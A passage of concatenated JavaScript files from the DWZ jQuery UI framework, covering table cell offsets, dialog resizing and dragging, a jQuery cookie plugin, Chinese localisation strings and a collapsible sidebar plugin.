getCellNum:function(obj) {
return $(obj).prevAll().andSelf().size();
},
getColspan:function(obj) {
return $(obj).attr("colspan") || 1;
},
getStart:function(obj) {
var start = 1;
$(obj).prevAll().each(function(){
start += parseInt($(this).attr("colspan") || 1);
});
return start;
},
getPageCoord:function(element){
var coord = {x: 0, y: 0};
while (element){
coord.x += element.offsetLeft;
coord.y += element.offsetTop;
element = element.offsetParent;
}
return coord;
},
getOffset:function(obj, evt){
if($.browser.msie ) {
var objset = $(obj).offset();
var evtset = {
offsetX:evt.pageX || evt.screenX,
offsetY:evt.pageY || evt.screenY
};
var offset ={
offsetX: evtset.offsetX - objset.left,
offsetY: evtset.offsetY - objset.top
};
return offset;
}
var target = evt.target;
if (target.offsetLeft == undefined){
target = target.parentNode;
}
var pageCoord = $.jTableTool.getPageCoord(target);
var eventCoord ={
x: window.pageXOffset + evt.clientX,
y: window.pageYOffset + evt.clientY
};
var offset ={
offsetX: eventCoord.x - pageCoord.x,
offsetY: eventCoord.y - pageCoord.y
};
return offset;
}
};
})(jQuery);
|
JavaScript
|
/**
* @author Roger Wu
* @version 1.0
*/
(function($){
$.fn.extend({jresize:function(options) {
if (typeof options == 'string') {
if (options == 'destroy')
return this.each(function() {
var dialog = this;
$("div[class^='resizable']",dialog).each(function() {
$(this).hide();
});
});
}
return this.each(function(){
var dialog = $(this);
var resizable = $(".resizable");
$("div[class^='resizable']",dialog).each(function() {
var bar = this;
$(bar).mousedown(function(event) {
$.pdialog.switchDialog(dialog);
$.resizeTool.start(resizable, dialog, event, $(bar).attr("tar"));
return false;
}).show();
});
});
}});
$.resizeTool = {
start:function(resizable, dialog, e, target) {
$.pdialog.initResize(resizable, dialog, target);
$.data(resizable[0], 'layer-drag', {
options: $.extend($.pdialog._op, {target:target, dialog:dialog,stop:$.resizeTool.stop})
});
$.layerdrag.start(resizable[0], e, $.pdialog._op);
},
stop:function(){
var data = $.data(arguments[0], 'layer-drag');
$.pdialog.resizeDialog(arguments[0], data.options.dialog, data.options.target);
$("body").css("cursor", "");
$(arguments[0]).hide();
}
};
$.layerdrag = {
start:function(obj, e, options) {
if (!$.layerdrag.current) {
$.layerdrag.current = {
el: obj,
oleft: parseInt(obj.style.left) || 0,
owidth: parseInt(obj.style.width) || 0,
otop: parseInt(obj.style.top) || 0,
oheight:parseInt(obj.style.height) || 0,
ox: e.pageX || e.screenX,
oy: e.pageY || e.clientY
};
$(document).bind('mouseup', $.layerdrag.stop);
$(document).bind('mousemove', $.layerdrag.drag);
}
return $.layerdrag.preventEvent(e);
},
drag: function(e) {
if (!e) var e = window.event;
var current = $.layerdrag.current;
var data = $.data(current.el, 'layer-drag');
var lmove = (e.pageX || e.screenX) - current.ox;
var tmove = (e.pageY || e.clientY) - current.oy;
if((e.pageY || e.clientY) <= 0 || (e.pageY || e.clientY) >= ($(window).height() - $(".dialogHeader", $(data.options.dialog)).outerHeight())) return false;
var target = data.options.target;
var width = current.owidth;
var height = current.oheight;
if (target != "n" && target != "s") {
width += (target.indexOf("w") >= 0)?-lmove:lmove;
}
if (width >= $.pdialog._op.minW) {
if (target.indexOf("w") >= 0) {
current.el.style.left = (current.oleft + lmove) + 'px';
}
if (target != "n" && target != "s") {
current.el.style.width = width + 'px';
}
}
if (target != "w" && target != "e") {
height += (target.indexOf("n") >= 0)?-tmove:tmove;
}
if (height >= $.pdialog._op.minH) {
if (target.indexOf("n") >= 0) {
current.el.style.top = (current.otop + tmove) + 'px';
}
if (target != "w" && target != "e") {
current.el.style.height = height + 'px';
}
}
return $.layerdrag.preventEvent(e);
},
stop: function(e) {
var current = $.layerdrag.current;
var data = $.data(current.el, 'layer-drag');
$(document).unbind('mousemove', $.layerdrag.drag);
$(document).unbind('mouseup', $.layerdrag.stop);
if (data.options.stop) {
data.options.stop.apply(current.el, [ current.el ]);
}
$.layerdrag.current = null;
return $.layerdrag.preventEvent(e);
},
preventEvent:function(e) {
if (e.stopPropagation) e.stopPropagation();
if (e.preventDefault) e.preventDefault();
return false;
}
};
})(jQuery);
|
JavaScript
|
/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
*/
/**
* Create a cookie with the given name and value and other optional parameters.
*
* @example $.cookie('the_cookie', 'the_value');
* @desc Set the value of a cookie.
* @example $.cookie('the_cookie', 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});
* @desc Create a cookie with all available options.
* @example $.cookie('the_cookie', 'the_value');
* @desc Create a session cookie.
* @example $.cookie('the_cookie', null);
* @desc Delete a cookie by passing null as value.
*
* @param String name The name of the cookie.
* @param String value The value of the cookie.
* @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
* @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
* If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
* If set to null or omitted, the cookie will be a session cookie and will not be retained
* when the the browser exits.
* @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
* @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
* @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {
value = '';
options.expires = -1;
}
var expires = '';
if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
var date;
if (typeof options.expires == 'number') {
date = new Date();
date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
} else {
date = options.expires;
}
expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
}
var path = options.path ? '; path=' + options.path : '';
var domain = options.domain ? '; domain=' + options.domain : '';
var secure = options.secure ? '; secure' : '';
document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
} else { // only name given, get cookie
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
};
|
JavaScript
|
/**
* @author ZhangHuihua@msn.com
*/
(function($){
// jQuery validate
$.extend($.validator.messages, {
required: "必填字段",
remote: "请修正该字段",
email: "请输入正确格式的电子邮件",
url: "请输入合法的网址",
date: "请输入合法的日期",
dateISO: "请输入合法的日期 (ISO).",
number: "请输入合法的数字",
digits: "只能输入整数",
creditcard: "请输入合法的信用卡号",
equalTo: "请再次输入相同的值",
accept: "请输入拥有合法后缀名的字符串",
maxlength: $.validator.format("长度最多是 {0} 的字符串"),
minlength: $.validator.format("长度最少是 {0} 的字符串"),
rangelength: $.validator.format("长度介于 {0} 和 {1} 之间的字符串"),
range: $.validator.format("请输入一个介于 {0} 和 {1} 之间的值"),
max: $.validator.format("请输入一个最大为 {0} 的值"),
min: $.validator.format("请输入一个最小为 {0} 的值"),
alphanumeric: "字母、数字、下划线",
lettersonly: "必须是字母",
phone: "数字、空格、括号"
});
// DWZ regional
$.setRegional("datepicker", {
dayNames: ['日', '一', '二', '三', '四', '五', '六'],
monthNames: ['一月', '二月', '三月', '四月', '五月', '六月', '七月', '八月', '九月', '十月', '十一月', '十二月']
});
$.setRegional("alertMsg", {
title:{error:"错误", info:"提示", warn:"警告", correct:"成功", confirm:"确认提示"},
butMsg:{ok:"确定", yes:"是", no:"否", cancel:"取消"}
});
})(jQuery);
|
JavaScript
|
/**
* @author Roger Wu
* @version 1.0
*/
(function($){
$.fn.cssv = function(pre){
var cssPre = $(this).css(pre);
return cssPre.substring(0, cssPre.indexOf("px")) * 1;
};
$.fn.jBar = function(options){
var op = $.extend({container:"#container", collapse:".collapse", toggleBut:".toggleCollapse div", sideBar:"#sidebar", sideBar2:"#sidebar_s", splitBar:"#splitBar", splitBar2:"#splitBarProxy"}, options);
return this.each(function(){
var jbar = this;
var sbar = $(op.sideBar2, jbar);
var bar = $(op.sideBar, jbar);
$(op.toggleBut, bar).click(function(){
DWZ.ui.sbar = false;
$(op.splitBar).hide();
var sbarwidth = sbar.cssv("left") + sbar.outerWidth();
var barleft = sbarwidth - bar.outerWidth();
var cleft = $(op.container).cssv("left") - (bar.outerWidth() - sbar.outerWidth());
var cwidth = bar.outerWidth() - sbar.outerWidth() + $(op.container).outerWidth();
$(op.container).animate({left: cleft,width: cwidth},50,function(){
bar.animate({left: barleft}, 500, function(){
bar.hide();
sbar.show().css("left", -50).animate({left: 5}, 200);
$(window).trigger(DWZ.eventType.resizeGrid);
});
});
$(op.collapse,sbar).click(function(){
var sbarwidth = sbar.cssv("left") + sbar.outerWidth();
if(bar.is(":hidden")) {
$(op.toggleBut, bar).hide();
bar.show().animate({left: sbarwidth}, 500);
$(op.container).click(_hideBar);
} else {
bar.animate({left: barleft}, 500, function(){
bar.hide();
});
}
function _hideBar() {
$(op.container).unbind("click", _hideBar);
if (!DWZ.ui.sbar) {
bar.animate({left: barleft}, 500, function(){
bar.hide();
});
}
}
return false;
});
return false;
});
$(op.toggleBut, sbar).click(function(){
DWZ.ui.sbar = true;
sbar.animate({left: -25}, 200, function(){
bar.show();
});
bar.animate({left: 5}, 800, function(){
$(op.splitBar).show();
$(op.toggleBut, bar).show();
var cleft = 5 + bar.outerWidth() + $(op.splitBar).outerWidth();
var cwidth = $(op.container).outerWidth() - (cleft - $(op.container).cssv("left"));
$(op.container).css({left: cleft,width: cwidth});
$(op.collapse, sbar).unbind('click');
$(window).trigger(DWZ.eventType.resizeGrid);
});
return false;
});
$(op.splitBar).mousedown(function(event){
$(op.splitBar2).each(function(){
var spbar2 = $(this);
setTimeout(function(){spbar2.show();}, 100);
spbar2.css({visibility: "visible",left: $(op.splitBar).css("left")});
spbar2.jDrag($.extend(options, {obj:$("#sidebar"), move:"horizontal", event:event,stop: function(){
$(this).css("visibility", "hidden");
var move = $(this).cssv("left") - $(op.splitBar).cssv("left");
var sbarwidth = bar.outerWidth() + move;
var cleft = $(op.container).cssv("left") + move;
var cwidth = $(op.container).outerWidth() - move;
bar.css("width", sbarwidth);
$(op.splitBar).css("left", $(this).css("left"));
$(op.container).css({left: cleft,width: cwidth});
}}));
return false;
});
});
});
}
})(jQuery);
|
JavaScript
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.